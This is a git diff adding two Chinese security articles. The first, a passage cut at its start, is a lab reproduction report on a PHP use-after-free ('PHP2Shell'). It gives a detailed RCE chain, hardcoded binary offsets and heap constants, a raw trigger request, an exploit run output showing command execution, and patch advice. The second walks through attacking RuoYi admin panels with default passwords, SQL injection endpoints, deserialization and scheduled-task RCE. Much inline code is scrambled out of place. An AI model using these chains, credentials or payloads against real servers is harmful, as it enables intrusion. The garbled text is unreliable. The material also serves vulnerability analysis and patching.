栈帧直接跳回请求顶层，中间所有尚未跑完的构造函数、链表挂接、全局赋值都被跳过。若此时请求内存（executor globals、session 模块全局、multipart 解析器）只初始化了一半，随后  +php_request_shutdown() 仍按「这是一次完整请求」去遍历、释放这些指针。 + +官方说明最高危 SAPI 是  +Apache  +mod_php：startup 失败也照样 shutdown，且发生在任何应用代码之前。 + +补丁前关键代码（php-8.4.26  +Zend/zend_alloc.c）： + +. +. +. +c + +static ZEND_COLD ZEND_NORETURN void zend_mm_safe_error(...) + +{ + +heap->overflow = 1; + +zend_try { + +zend_error_noreturn(E_ERROR, format, limit, size); + +} zend_catch { + +} zend_end_try(); + +heap->overflow = 0; + +zend_bailout(); /* ← 漏洞核心 */ + +exit(1); + +} + +CVE-2026-109619 — 跨请求残留的进程级全局 + +php-fpm / mod_php worker 是 +长驻进程。一次请求可以把「属于本请求堆」的对象挂到进程全局： + +、（session 模块） + +PS(id) + +PS(http_session_vars) + +错误对象 / 8.5 的 fatal backtrace + +扩展残留 + +请求以 OOM/ +longjmp/fatal 结束时如果没把这些全局清成  +UNDEF/ +NULL， +下一个 HTTP 请求会把悬空指针当活对象： +zval_ptr_dtor(PS(http_session_vars)) → UAF。 + +已确认、且 +不需要应用配合的生产者/消费者： + +session.upload_progress +（PHP 5.4 起默认 On）。 multipart 解析回调运行在  +RINIT 之前： + +FILE_START → php_session_rfc1867_update() → php_session_initialize() + +END → php_session_rfc1867_cleanup() → php_session_initialize() + +→ php_session_track_init() + +→ zval_ptr_dtor(PS(http_session_vars)) // 消费上一请求残留 + +目标页面可以是  +， +不必调用  +session_start()。 + +两者如何拼成 RCE + +请求 A（producer） + +multipart 带 PHP_SESSION_UPLOAD_PROGRESS + +→ 在 php_session_initialize() 内 OOM + +→ longjmp，PS(http_session_vars)/PS(id) 未清空 + + +请求 B（consumer，必须打到同一个 worker） + +再次走 upload_progress + +→ zval_ptr_dtor(悬空指针) + +→ 用 multipart 字段的 zend_string 重占刚释放的块 + +→ 伪造 HashTable.pDestructor = zif_system + +→ system("id>/out/p1") + +流量全是普通  +multipart/form-data POST，没有自定义协议，也没有「把 PHP 源码 POST 上去就会执行」这种错误模型。 + + +02 +CHAPTER +### 影响范围 + + +
分支
受影响
官方修复包
8.5
<； 8.5.12
8.5.12
8.4
<； 8.4.27
8.4.27
8.3
<； 8.3.36
8.3.36
8.2
<； 8.2.35
8.2.35
8.1 / 8.0 / 7.x / 5.4+
受影响（upload_progress 自 5.4 默认开启）
无官方发行版，仅有源码 backport
+ +SAPI： + +**mod_php + Apache prefork**：官方确认未认证 RCE，本实验室已复现。 + +**PHP-FPM**：源码面可利用（session 路径）；官方未给出完整 FPM exploit。FPM 在 startup 失败时会杀掉 child，618 的「startup 失败仍 shutdown」这条在 FPM 上不成立，619 仍可能。 + +FrankenPHP / LSAPI：模型类似。 + +应用层（WordPress、Laravel、Drupal 等）只要解释器未打补丁即在范围内，与业务代码是否使用 session  +无关。 + + +03 +CHAPTER +### 利用条件 + + +分两层看： +触发 UAF 的条件相对宽； +把 UAF 打成稳定 RCE 的条件极窄。 + +触发层（相对通用） + +1 +PHP 未升级到上述修复版本。 + +2 +session.upload_progress.enabled=On（默认；必须在  +php.ini /  +php_admin_value 关， +ini_set() 来不及）。 + +3 +memory_limit 为有限值（默认 128M 也可，实验室为了稳定打 OOM 收到 8M）。 + +4 +post_max_size 大于用于打 OOM 的字段（否则进不了 rfc1867）。 + +5 +攻击者可对任意  +.php 发 HTTP POST。 + +6 +两次请求打到同一个 worker（prefork 单 worker 时为 100%；多 worker 只是降概率）。 + +满足以上即可观察到： + + +Fatal error: Allowed memory size ... exhausted in Unknown on line 0 + +下一请求 session 状态异常（非法 PHPSESSID、读 session 失败） + +或 / worker + +zend_mm_heap corrupted + +SIGABRT + +这已经证明漏洞存在，但还不是 RCE。 + +RCE 层（本实验室打通时的全部约束） + +
条件
本实验室取值
若不满足
精确构建
php:8.4.26-apache-bookworm
堆喷尺寸全部作废
SAPI
mod_php + mpm_prefork
FPM 要另写一条链
Worker 数
1
无法稳定 A→B 同进程
display_errors
On
当前公开链的 Set-Cookie 泄漏依赖 headers_sent
max_input_vars
1000（默认）
超限 warning 的时机变了
memory_limit
8M
OOM 点漂移，对象落点变
session.use_strict_mode
Off
\x00 PHPSESSID 无法迫使换 id
libphp.so 偏移
zif_system=0x45a3b0 等
stage3 调到错误函数
堆常数
HTDATA=+0x690d8，filler=841…
重占失败，只会崩
用户态指针区间
本机内核映射在 0x79…
泄漏解析器会当「没漏到」
+ +命令嵌入 167 字节 zend_string，有效命令  +≤ 14 字节。 + + +04 +CHAPTER +### 为什么该漏洞没有通用 PoC + + +这是本报告要单独说清楚的一点： +CVE 编号是通用的，RCE 载荷不是。 + +「通用 PoC」在这里如果指「任意未打补丁 PHP，发固定 HTTP 包就能  +system()」，则 +不存在。原因不是信息披露不全，而是利用原语本身决定的。 + +这是堆 UAF，不是「参数进了 `system()`」 + +对比典型 PHP 应用 RCE（反序列化 gadget、文件上传、 +eval($_GET)）： + +

应用层 RCE
PHP2Shell RCE
稳定原语
字符串/对象图，语义确定
悬空指针 + 堆块尺寸
载荷
逻辑 payload，跨版本常还能用
fake HashTable 二进制，对 Zend MM bin 敏感
ASLR
通常不需要
必须先泄 chunk 基址和 libphp 基址
目标代码
某条业务逻辑
libphp.so 里 zif_system 的文件偏移
+ +UAF 能转 RCE 的前提是：攻击者知道「释放块的尺寸、下一次分配会落到哪、伪造对象里每个字段的偏移」。这些对  +PHP 小版本、编译选项、发行版、Apache/PHP 谁先分配堆 全部敏感。 + +本机对照实验：同一条公开 exp，换一层构建就失败 + +实验室用的是同一套 [9bie/php2shell-bypass-aslr-exp](https://github.com/9bie/php2shell-bypass-aslr-exp) 源码： + +1 + +Hub 默认  +php:8.4.26-apache（ +Debian 13 Trixie，Apache 2.4.69） + +stage1  +HEAP_LEAK_FAILED（5/5） + +2 + +php:8.4.26-apache-bookworm（Debian 12，Apache 2.4.68） + +cookie 已泄漏，但脚本只认  +0x7f… 指针，仍判失败 + +3 + +同上，只把指针窗口放到  +0x55…–0x80…（本机内核 6.8 堆在  +0x79…） + +第一次即 RCE + +注意：1 和 2 的 PHP  +都是 8.4.26。只换了 Debian 小版本 / Apache 小版本， +libphp.so 里： + +Trixie: zif_system=0x465370 zval_ptr_dtor=0x65eb60 + +Bookworm: zif_system=0x45a3b0 zval_ptr_dtor=0x64eb60 + +堆喷个数（841 / 406 /  ++0x690d8）是按 bookworm 镜像标定的，拿到 Trixie 上全部对不齐。  +同一 PHP 版本号都做不到通用，更不可能覆盖 5.4～8.5。 + +必须按目标现场 leak 的量 + +完整链至少要在 +这个 worker 的这次地址空间里得到： + +1 +Zend MM chunk 基址（2MiB 对齐）。来源：伪造超长  +zend_string，让  +php_url_encode(PS(id)) 越界读，从  +Set-Cookie: PHPSESSID= 里捞指针。本机一次泄漏 4096 字节 cookie、98 次命中  +0x79cdb5400000。 + +2 +libphp.so + 基址。来源：把  +pDestructor 读成  +zval_ptr_dtor，减去该构建的文件偏移。 + +3 +若干相对 chunk 的常量（HTDATA、R0、pad 尺寸）。这些 +不能从泄漏里直接算出来，只能对「这一个 ELF + 这一套 INI」预先标定。 + +少任何一项，stage3 的 fake HashTable 就会指到随机内存：表现是 worker 崩溃（看起来像 DoS），而不是  +system()。 + +这也是为什么分析过程必须看堆、看偏移——不是「研究怎么打得更花」，而是  +RCE 载荷把布局写死了。 + +SAPI / INI / MPM 会改掉对象生命周期 + +即使二进制相同： + +**多 worker**：A 的悬空指针在 worker-3，B 打到 worker-7，消费的是干净状态。只能靠大量请求碰概率，不能当稳定 PoC。 + +**FPM**：startup 失败直接 child，618 的「半初始化 shutdown」路径被剪掉；419 的 session 路径还在，但堆与 Apache prefork 完全不同，bookworm 常数作废。 + +_exit + +****：当前链靠 超限 warning 置 ，才能在 OOM 之后仍通过 把堆指针带出来。关掉就没了这条泄漏。公开仓库自己也写了「 的完整 RCE 稍后提交」。 + +display_errors=Off + +max_input_vars + +headers_sent=1 + +Set-Cookie + +display_errors=0 + +** 不是 8M**：OOM 发生的分配点变了，session 对象和后续 zend_string 落在不同 bin。 + +memory_limit + +****： 无法迫使 ，泄漏阶段缺 cookie。 + +session.use_strict_mode=On + +PHPSESSID=\x00 + +send_cookie=1 + +这些都是 +默认或常见生产配置，所以「默认 PHP」四个字并不能推出「默认能 RCE」。 + +能通用的只有「验洞触发包」，不是 RCE + +可以相对通用的是  +A+B 两包（见第 6.3 节）： + +任意未修复 PHP + 默认 upload_progress + 有限 + +memory_limit + +效果：OOM fatal、跨请求 session 异常、可能打崩 worker + +**效果不是命令执行** + +把「能打崩 / 能脏状态」写成「通用 RCE PoC」是错误的。本仓库因此拆成两份： + +：通用触发（无命令执行） + +lab/trigger_upload_progress_oom.py + +：**仅** 的 RCE + +lab/php-8.4.26-apache-bookworm/exp.py + +php:8.4.26-apache-bookworm + +小结 + +「PHP2Shell 的漏洞面是内核级、默认配置即可触发的 UAF；把它变成稳定 RCE 需要「同 worker + 预先标定的堆喷尺寸 + 该次构建的 libphp.so 符号偏移 + 一次成功的 Cookie 泄漏」。 因此：不存在跨版本、跨发行版、跨 SAPI 的通用 RCE PoC；只存在「某一精确构建上的定点 exploit」和「跨版本的崩溃/状态损坏触发包」。」 + + +05 +CHAPTER +### 定点复现环境 + + +以下环境已两次独立打出  +uid=33(www-data)。 + +宿主机与靶场 + +宿主机 + +Ubuntu 24.04.4 LTS，内核 6.8.0，Docker 29.2.1 + +镜像 + +php:8.4.26-apache-bookworm + +Image ID + +sha256:df868eae5dacd34acf4722610c7275b43e4648d7710dd1c5e7dafd0b498d59d1 + +容器 OS + +Debian GNU/Linux 12.15 (bookworm) + +PHP + +8.4.26 NTS，Zend Engine 4.4.26，mod_php + +Apache + +2.4.68， +mpm_prefork， +MaxRequestWorkers=1，KeepAlive Off + +libphp.so + +21172088 B，sha256  +ff3ea77fb119541f6d10ddf0fa7e9e3fd6a3043e049a536b530dbbec35db68d6 + +监听 + +127.0.0.1:8088 + +目标页 + +（无  +session_start()） + +HTTP 指纹（exp 启动时会校验，不对则拒绝）： + +Server: Apache/2.4.68 (Debian) + +X-Powered-By: PHP/8.4.26 + +PHP / Apache 配置 + +php.ini： + +. +. +. +ini + +display_errors = On + +display_startup_errors = On + +error_reporting = E_ALL + +memory_limit = 8M + +post_max_size = 64M + +upload_max_filesize = 64M + +max_input_vars = 1000 + +session.save_path = "/tmp" + +session.use_strict_mode = 0 + +session.use_cookies = 1 + +session.upload_progress.enabled = On + +session.upload_progress.cleanup = On + +Apache MPM： + +. +. +. +apache + +KeepAlive Off + + + +StartServers 1 + +MinSpareServers 1 + +MaxSpareServers 1 + +MaxRequestWorkers 1 + +ServerLimit 1 + +MaxConnectionsPerChild 0 + + + +启动靶场 + +官方  +php:8.4.26-apache 当前默认是  +Trixie，堆布局与本 exp 不一致。必须显式用 bookworm 标签： + +bash + +# 仓库内已有 docker-compose（9bie 靶场配置） + +cd /path/to/php2shell-bypass-aslr-exp + + +docker pull php:8.4.26-apache-bookworm + +docker tag php:8.4.26-apache-bookworm php:8.4.26-apache + + +docker compose -f docker/docker-compose.yml up -d + + +curl -sI http://127.0.0.1:8088/index.php + +# Server: Apache/2.4.68 (Debian) + +# X-Powered-By: PHP/8.4.26 + +curl -s http://127.0.0.1:8088/index.php + +# OK + +本实验室对应容器名： +php2shell-target。 +./out 挂到容器  +/out，RCE 默认把  +id 写到  +/out/p1。 + + +06 +CHAPTER +### 复现步骤 + + +一键 RCE（推荐，完整代码） + +完整利用代码（已按第 5 节构建写死偏移，启动时校验指纹）： + +/home/iot/opt/test/phprce/lab/php-8.4.26-apache-bookworm/exp.py + +bash + +python3 /home/iot/opt/test/phprce/lab/php-8.4.26-apache-bookworm/exp.py \ + +-u http://127.0.0.1:8088/index.php + +本机两次运行均在 stage3 第 1 次尝试成功： + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/m3tfzlbEQPrFDWxgiaq92okre7ksojH8iaYa6BdeA8dXF8TAQcNN63OG9edVxbdY59mk0SGgfbib7kVJZxbzVibbDVD1OhiaicWDQibJYlplKtRPQE/640?wx_fmt=png&from=appmsg "") + + +[*] fingerprint Server='Apache/2.4.68 (Debian)' X-Powered-By='PHP/8.4.26' + +[*] hardcoded offsets: zif=0x45a3b0 dtor=0x64eb60 htdata=0x690d8 + +[+] chunk base = 0x79cdb5400000 + +[+] libphp base = 0x79cdb56f9000 + +[*] stage 3: HTDATA=0x79cdb54690d8 ZIF=0x79cdb5b533b0 + +[+] W3 attempt 1 + +PROOF: uid=33(www-data) gid=33(www-data) groups=33(www-data) + +proof 文件（容器内  +/out/p1）： + +uid=33(www-data) gid=33(www-data) groups=33(www-data) + +站点随后仍返回  +OK。Apache 日志会出现  +zend_mm_heap corrupted 和 child  +SIGABRT/ +SIGSEGV——这是 UAF 被打成  +zif_system 时的副作用， +不是「只打崩了服务」。prefork 会拉起新 worker。 + +写死的常数（相对 ASLR，不随 slide 变）： + +zif_system 0x45a3b0 + +zval_ptr_dtor 0x64eb60 + +HTDATA chunk + 0x690d8 + +stage1 filler 841 × 48 字节 + +stage2 目标数组下标 406，元素值 16 字节 + +stage3 pad 6 × (name 31, value 31) + +stage3 carrier 15 字节覆盖 reference.val + +命令上限 14 字节（更长用 sh memory_limit） + +------SUPABOUNDARY7-- + +作用：同一 worker 上再次进入 upload_progress；无文件 part 时走  +MULTIPART_EVENT_END →  +php_session_rfc1867_cleanup() →  +zval_ptr_dtor(残留指针)。 + +单独打 A+B（不做堆喷）时，B 已能看到跨请求残留： + +Warning: PHP Request Startup: Session ID is too long or contains illegal characters... + +Warning: PHP Request Startup: Failed to read session data: files (path: /tmp) + +. +. +. +http + +POST /index.php HTTP/1.1 + +Host: 127.0.0.1:8088 + +Content-Type: multipart/form-data; boundary=BNDRY12345 + +Content-Length: 192 + +Connection: close + + +--BNDRY12345 + +Content-Disposition: form-data; name="PHPSESSID" + + +attacksessionid0001 + +--BNDRY12345 + +Content-Disposition: form-data; name="PHP_SESSION_UPLOAD_PROGRESS" + + +pwn + +--BNDRY12345-- + +这两包就是「相对通用的验洞 PoC」。它们证明 UAF/状态残留， +不会执行命令。 + +A 在 6.2.1 基础上改为： + +1001 个 、值为 （触发 ， → ） + +name=p0000..p1000 + +x + +max_input_vars + +display_errors=On + +headers_sent=1 + +值为单个 （迫使新 id 且 ） + +PHPSESSID + +\x00 + +send_cookie=1 + +同样的文件 part + 12MiB + +big + +B 在 6.2.2 基础上追加 841 个 48 字节字段，再跟 79 字节伪造块（ +ZSTR_LEN=0x1000）。响应中： + +Set-Cookie: PHPSESSID=LAAAAA...%xx%xx... （url-decode 后 4096 字节） + +本机从中解析出  +chunk base = 0x79cdb5400000。 + +A：progress + 6 组 31/31 pad + 文件 + 12MiB，并带  +Cookie: PHPSESSID=aaa...a（32 个  +a），避免  +Set-Cookie 覆盖伪造 reference 的  +val.type。 + +B：progress + 15 字节 carrier（改写悬空 reference 的  +val.value 低 7 字节）+ 15 个携带 fake HashTable 的 167 字节字段。 + +触发： + +php_session_track_init() + +zval_ptr_dtor(PS(http_session_vars)) + +zend_reference_destroy(R0) + +zend_array_destroy(fake HT) + +zend_hash_destroy(fake HT) + +pDestructor(&bucket->val) // = zif_system + +system("id>/out/p1") + +fake HashTable 的二进制随  +chunk/ +libphp 基址变化， +不能写成与泄漏无关的固定 Raw 包。完整构造见  +exp.py 的  +_fake_payload() /  +stage3()。把 stage3 body 当「通用 HTTP exp」发布，换一台机器就会变成纯崩溃。 + +仅验证漏洞（无 RCE）的完整代码 + +bash + +python3 -I /home/iot/opt/test/phprce/lab/trigger_upload_progress_oom.py \ + +127.0.0.1 8088 /index.php + +脚本生成 6.2.1 / 6.2.2 两包并打印响应。成功标志是 A 出现  +Unknown on line 0 的 memory exhausted，B 出现 session 警告或 worker 异常，而不是  +PROOF: uid=...。 + + +07 +CHAPTER +### 补丁情况与补丁前后差别 + + +官方补丁已发布（2026-10-21，embargo 从 10-22 提前）。 + +发行版：8.5.12、8.4.27、8.3.36、8.2.35 + +NEWS：*Fixed GHSA-w8hw-w9fx-j79w, GHSA-6wmf-4rv5-p3rp (Avoid state corruption via bailout). (CVE-2026-109618, CVE-2026-109619)* + +提交：[](https://github.com/php/php-src/commit/31c0ea7d7f) + +31c0ea7d7ff1d1fccb6492e52dab544011628065 + +本报告对比了官方 tarball **php-8.4.26 vs php-8.4.27**（完整 diff 在 ） + +report/evidence/ + +618：禁止 OOM `longjmp` + +zend_mm_safe_error() →  +zend_bailout() + +函数删除 + +任意 C 帧跳回请求顶层 + +软 OOM：写入  +EG(delayed_oom)，置  +vm_interrupt，到 VM 安全点再  +zend_throw_unwind_exit() + +shutdown 看到半初始化状态 + +硬 OOM：新 INI  +memory_hard_limit_percent，超限  +_exit(137)，进程直接死，shutdown 看不到坏状态 + +619：session 全局必须先复位 + +ext/session/session.c： + +**立刻** ，切断上一请求的 / + +MULTIPART_EVENT_START + +php_rinit_session_globals() + +PS(id) + +PS(http_session_vars) + +检查 返回值，失败即退 + +php_session_rfc1867_update/cleanup + +php_session_initialize() + +：解析阶段反序列化只生成 + +PS(in_rfc1867_update) + +__PHP_Incomplete_Class + +之后不再跑这条回调 + +PG(modules_activated) + +main/rfc1867.c： + +每个 part 只保留 Content-Disposition / Content-Type，去掉「海量自定义头放大内存」 + +解析循环检测 并有序释放 + +ZEND_HAS_OOM() + +读 body 再次强制 + +post_max_size + +升级后必须重启全部 worker / 容器。发行版 backport 可能版本号不变，以 changelog 是否出现两个 GHSA 为准。 + +截至本报告编写时，Docker Hub 尚无  +php:8.4.27-apache 标签（源码 tarball 已发布）。 + + +08 +CHAPTER +### 修复建议 + + +1 +唯一完整修复：升级到 8.2.35 / 8.3.36 / 8.4.27 / 8.5.12 或厂商 backport，然后重启所有 PHP 进程。 + +2 +无法立即升级时的 +不完整缓解（需  +php_admin_value，重启生效）： + +（挡已展示的 session 链，不是全部 619） + +session.upload_progress.enabled=0 + +（去掉可预测 cap，缓解已确认的 618；底层 失败仍可能 bailout） + +memory_limit=-1 + +mmap + +调小 ；反代限制 body + +post_max_size + +不用上传的应用，反代直接丢弃 + +multipart/form-data + +FPM： 缩小跨请求窗口 + +pm.max_requests=1 + +PHP 8.5： + +fatal_error_backtraces=0 + +1 +不要设  +RLIMIT_AS /  +RLIMIT_DATA：它们让  +mmap 失败，正好走进脆弱  +longjmp。 + +2 +应急排查： +zend_mm_heap corrupted、 +exhausted in Unknown on line 0、异常超长  +Set-Cookie: PHPSESSID=、对任意 PHP 的超大 multipart +  +PHP_SESSION_UPLOAD_PROGRESS。按失陷处理：轮换密钥、查 webshell。 + + +09 +CHAPTER +### 参考 + + +https://github.com/php/php-src/security/advisories/GHSA-w8hw-w9fx-j79w + +https://github.com/php/php-src/security/advisories/GHSA-6wmf-4rv5-p3rp + +https://www.php.net/ChangeLog-8.php + +https://github.com/php/php-src/commit/31c0ea7d7f + +公开定点利用（实验室参考）：https://github.com/9bie/php2shell-bypass-aslr-exp + +https://unit42.paloaltonetworks.com/cve-2026-109618-cve-2026-109619/ + + +END + +对应的exp，关注微信公众号，私信 php2shell 获取 + +我是网络安全透视镜。 + +如果你觉得今天这篇有收获，欢迎**点赞、在看、转发** +三连，我们下篇见。 + + diff --git a/doc/2026-10/实战若依ruoyi框架漏洞：从 SQL 注入到 RCE.md b/doc/2026-10/实战若依ruoyi框架漏洞：从 SQL 注入到 RCE.md new file mode 100644 index 00000000..6176c726 --- /dev/null +++ b/doc/2026-10/实战若依ruoyi框架漏洞：从 SQL 注入到 RCE.md @@ -0,0 +1,319 @@ +# 实战若依ruoyi框架漏洞：从 SQL 注入到 RCE +原创 炫彩之星 + 炫彩之星 菜鸟学安全 2026-10-21 12:48 + +### 一、前言 + +　　最近在挖某src的时候，碰到了一套若依，本以为啥都没有，结果随手一测若依存在的历史漏洞基本都有。是通过很奇怪的信息收集方式找到这个站的，分享出来让大家看看。 + +![在这里插入图片描述](https://mmbiz.qpic.cn/mmbiz_jpg/oFamj4ye1grkfM9XVHaOdUWCtHLgIicvzKWSmFAKLF7ia52MnO3r5vU6ThtWyjTBgMxzTnowOFuxSPXZNSr1QCrtico9V1y7bQDh1SlTUuia1S0/640?wx_fmt=jpeg&from=appmsg "") + +　　老司机一看就明白了我在找什么，虽然说机会不大，但偏偏就让我遇到了。 +### 二、ruoyi（若依）框架 + +　　若依（Ruoyi）框架是一款基于 Spring Boot 2.5.5、Spring Cloud 2020.0、OAuth2 与 JWT 鉴权等核心技术，同时也支持Spring Security、Apache Shiro 等多种安全框架，以及 Mybatis、JPA 等流行持久化框架，提供了许多常用的功能模块，包括系统管理、监控管理、任务调度、 代码生成 、文件上传、高德地图等功能的快速开发平台。 + +　　若依框架采用前后端分离的模式，基于Vue.js实现了前端UI框架，采用Feign作为服务调用，通过 Nacos 实现统一配置管理，是一款高效率、低封装、面向前端的开发框架。 + +**fofa语句：app=“若依-管理系统”** +### 三、ruoyi（若依）漏洞 + +　　前端存储账号密码 + +![在这里插入图片描述](https://mmbiz.qpic.cn/sz_mmbiz_jpg/oFamj4ye1gpVeZQOvO2FSbgWhrR2Lg9OOPIV6GHWruBsYI2F5zV2NwZ9daicZyGs2CFcUWZEGWoEuw379QAJob2viaHkHAGK1DOKo4RgYv6iaU/640?wx_fmt=jpeg&from=appmsg "") + +　　这个站进来是这样的，没错就是账号密码存储在前端，本来想试试弱口令的，这账号密码都摆着了，（狗头） + +　　不过大家遇见若依一般是不会有这种情况的，下面是若依系统常见的弱口令： + +admin/admin123 + +ry/admin123 + +ruoyi/admin123 + +　　识别若依框架也很简单，大概就长这样，如果验证码是简单计算，存在记住密码也可能是若依 + +![在这里插入图片描述](https://mmbiz.qpic.cn/sz_mmbiz_jpg/oFamj4ye1gqpaD7L2MKDQUPnL40BypXUCGmmzJ7NGZphNibLyICMkufBXia0H1icXGWHUqGJNnkCYGHZs0HnA9MRI3bg4pfJCmMa67nHBHcYeM/640?wx_fmt=jpeg&from=appmsg "") +#### 1. SQL注入1 + +　　/system/role/list端点存在注入 + +POC： +``` +``` + +![在这里插入图片描述](https://mmbiz.qpic.cn/mmbiz_jpg/oFamj4ye1grC95DeQEr4WjqyPHcTzwRAZRex8EqbpFicAR6QypLWhKI57sT9iad1fm76ZJXzCqnaQvkQw2730oruQpUvwy23hAMaCicSbPFpdQ/640?wx_fmt=jpeg&from=appmsg "") +#### 2. SQL注入2 + +　　/system/dept/edit此接口存在SQL注入 +``` +``` + +![在这里插入图片描述](https://mmbiz.qpic.cn/sz_mmbiz_jpg/oFamj4ye1gpek2erBhicqzicnGFdibmNHohAsnPKqtbgu8VmoeHUZ8C1Tic35Xf25oRDaMg4rZMibZ2BbW6rqZPd3iciaGFA6BwPBwwa6iacTia2KL8g/640?wx_fmt=jpeg&from=appmsg "") +#### 3. SQL注入3 + +　　/system/role/export端点存在注入 + +poc： +``` +``` + +![在这里插入图片描述](https://mmbiz.qpic.cn/mmbiz_jpg/oFamj4ye1gos4SQIZcJID92b5tzv5l1eB5MibUvr1cy2OnppiaVSfACHg5fmorF3siajFes0v9dg8TU4AP0gl9HjH4NLL7JBeDJtd1ot5gvOiaQ/640?wx_fmt=jpeg&from=appmsg "") +#### 4. SQL注入4 + +　　/tool/gen/createTable端点 + +　　如果页面如下则可能存在漏洞 + +![在这里插入图片描述](https://mmbiz.qpic.cn/sz_mmbiz_jpg/oFamj4ye1gowjrrfgzFS8zFR9Vcicw23ufJSNRjC1XLFu5wmSG8nYNtYDmFGGOOj2htZIMlcmOFoE79U2S3cqTpWjnLR7RypUDCeF0R7v9vc/640?wx_fmt=jpeg&from=appmsg "") + +　　这里没有漏洞，我把poc放上来大家可以试试 +``` +``` +#### 5. 后台任意文件读取 +``` +``` + +![在这里插入图片描述](https://mmbiz.qpic.cn/sz_mmbiz_jpg/oFamj4ye1gpibJ6PQjx2BwHaxM4ibbN7o4ZWFOzm4OJqS36X250SsFo3CTegv7iaBhZ4m14RSslgIZLIp0DGl4QomZfIuGR2hMeUmW40KmaDia4/640?wx_fmt=jpeg&from=appmsg "") +#### 6. 任意文件读取2 + +　　漏洞影响：RuoYi<4.7.6 + +　　首先创建一个定时任务： +``` +``` + +![在这里插入图片描述](https://mmbiz.qpic.cn/sz_mmbiz_png/oFamj4ye1gpBxeyK7yusicoFaGT0kxzxibaHyC2iapJBSGNzh4lsFibq3oR92BpMqXFSuWUjKcIwGukAyyXAiaDNpwKmUBmicFdj6PmDQKWYTTWIs/640?wx_fmt=png&from=appmsg "") + +　　执行一边定时任务 +``` +``` + +![在这里插入图片描述](https://mmbiz.qpic.cn/sz_mmbiz_png/oFamj4ye1gqvVCiaFbYpSVCaS3Rl1XK56yAqib31SJY9hCVevX7pMmeEhAvy8BBiaozVmSDvHLx3EUxbSuPK3zT48T25w3R4yEI3ia9pz0AECK0/640?wx_fmt=png&from=appmsg "") + +　　下载任意文件，可获得前面读取的文件内容 +``` +``` + +![在这里插入图片描述](https://mmbiz.qpic.cn/mmbiz_png/oFamj4ye1grud3UslxU69wC22D67kGBHn31WmxfLibsgXRJDPkHxo4Wa2kqq141FHZS9Jn4E94hBcwczf51FthCRZRUOLGPSQkYUShWtp1yo/640?wx_fmt=png&from=appmsg "") +#### 7. shiro反序列化 + +　　若依系统是使用了shiro的，所以可以直接当shiro来打。 + +![在这里插入图片描述](https://mmbiz.qpic.cn/sz_mmbiz_jpg/oFamj4ye1gqcHh0VXgMn35McXaf37AsRUs8YyNNJns6jshWt2exSEibjk5HROGoA0BARvmw98FUxk8T6DaNnibmHdPibTsJyVJ3icar6yXbKPHg/640?wx_fmt=jpeg&from=appmsg "") + +![在这里插入图片描述](https://mmbiz.qpic.cn/sz_mmbiz_jpg/oFamj4ye1gqo9j3ic4giaJtLJtb9z7ak3uFoJtRbW93uTak3ezicDkpEIsdOOU06D4OFkjqlFdAvYXSicBgHAsUzdmQBgjwElTsGiarI69lIcXqo/640?wx_fmt=jpeg&from=appmsg "") + +　　直接一把梭哈 + +![在这里插入图片描述](https://mmbiz.qpic.cn/mmbiz_jpg/oFamj4ye1gqkH4HfKkUVRHBH9mNUpv0GqDEqrr1ClToeWhGQDdG3qoE8PvCjCwg80Zqu0VQiaHrSqfthADqYBOL47up8tOwoGAuRvrMq0OzE/640?wx_fmt=jpeg&from=appmsg "") +#### 8. 后台定时任务RCE + +　　由于若依后台计划任务处，对于传入的“调用目标字符串”没有任何校验，导致攻击者可以调用任意类、方法及参数触发反射执行命令。影响版本：RuoYi<4.6.2 + +　　1.下载exp + +https://github.com/artsploit/yaml-payload + +　　2.修改 AwesomeScriptEngineFactory.java文件，exec里改成要执行的命令 + +![在这里插入图片描述](https://mmbiz.qpic.cn/mmbiz_jpg/oFamj4ye1gqwUZ9EJJOh7AmHpOAzeebzX9Aiaw3MvryJ448wibKvOayFE08mfLWWyG9S1B4MZlrrbxbBic9NNpkqMj7nBeMFgHCtfFdrBoyNd8/640?wx_fmt=jpeg&from=appmsg "") + +　　3.编译 +``` +``` + +![在这里插入图片描述](https://mmbiz.qpic.cn/sz_mmbiz_jpg/oFamj4ye1gqgnCkvMOZnIpsSAJEaG1aLLURasrKNYuWssnUj97QG5U14ASoxibaYHquoEfu23a3hQ2vkrKpMqYIib4p52MmBXMbXGWeeq2aE4/640?wx_fmt=jpeg&from=appmsg "") + +　　就会生成一个.jar文件，放在vps上，开启一个http服务 +``` +``` + +![在这里插入图片描述](https://mmbiz.qpic.cn/mmbiz_jpg/oFamj4ye1go6DSZBWia1rynX91s6v3NnuM6HS4NK7ibMNd9c2CNib8TIhcDwdKgn58Z6J6ovW4cKRgfnTaKcFkfR7kTtOib3ibzDbsgic7wefyQxM/640?wx_fmt=jpeg&from=appmsg "") + +　　然后回到若依后台，添加一个计划任务，这里直接用工具了 + +![在这里插入图片描述](https://mmbiz.qpic.cn/sz_mmbiz_jpg/oFamj4ye1gqnpiaKTPkRQbOz5ficzyxWgLFJBDaSUEUm93IfNO044S6r7JkTxnuIIDpYvCBkHoPIAcjWGvjdqHBUO5TyxIONTLicPHeHWTNgas/640?wx_fmt=jpeg&from=appmsg "") +#### 9. 后台计划任务2 + +　　漏洞影响：4.6.2 < Ruoyi < 4.7.2 + +　　这个版本采用了黑名单限制调用字符串 +``` +``` + +bypass： +``` +``` +#### 10.thymeleaf 模板注入 + +　　漏洞影响：RuoYi <= v4.7.1 + +payload1: +``` +``` + +　　payload部分进行编码 +``` +``` + +payload2: +``` +``` + +payload3: +``` +``` + +![在这里插入图片描述](https://mmbiz.qpic.cn/mmbiz_png/oFamj4ye1goicRec62n4jB8gykpAL5vmfWGibfkcgWlPPnT8vqDR5tQbWAkfh1Y9me2Nvn7d2M9bicHzfD18kOnal7TFZqGCIOj4Mocpc0PhYI/640?wx_fmt=png&from=appmsg "") + +![在这里插入图片描述](https://mmbiz.qpic.cn/mmbiz_png/oFamj4ye1gpXYGrqbwRMt9VUP5WN1YyooaFFEYaJibUJ3fKqtBbwPUzz1Yzrb555O2laTkYWBiaDztn8ejqbDFIU6dsuzMSvH4BGXRHOyicLFI/640?wx_fmt=png&from=appmsg "") +#### 11. jdbc template sql注入 + +　　把要执行的sql语句放入其中： +``` +``` + +　　进行十六进制编码 +``` +``` + +![在这里插入图片描述](https://mmbiz.qpic.cn/sz_mmbiz_png/oFamj4ye1gq4NZBNmOTFgrAAK6p1IW5qUVNJcxiaGCdjobjfuw2d9wqkibSMp7g1QEZTecg3AFOoJho1CFibbvyIRYvjCSv0kIh8EUmxTpg7Kg/640?wx_fmt=png&from=appmsg "") + +　　重复执行定时任务，jobid保持一致 +``` +``` + 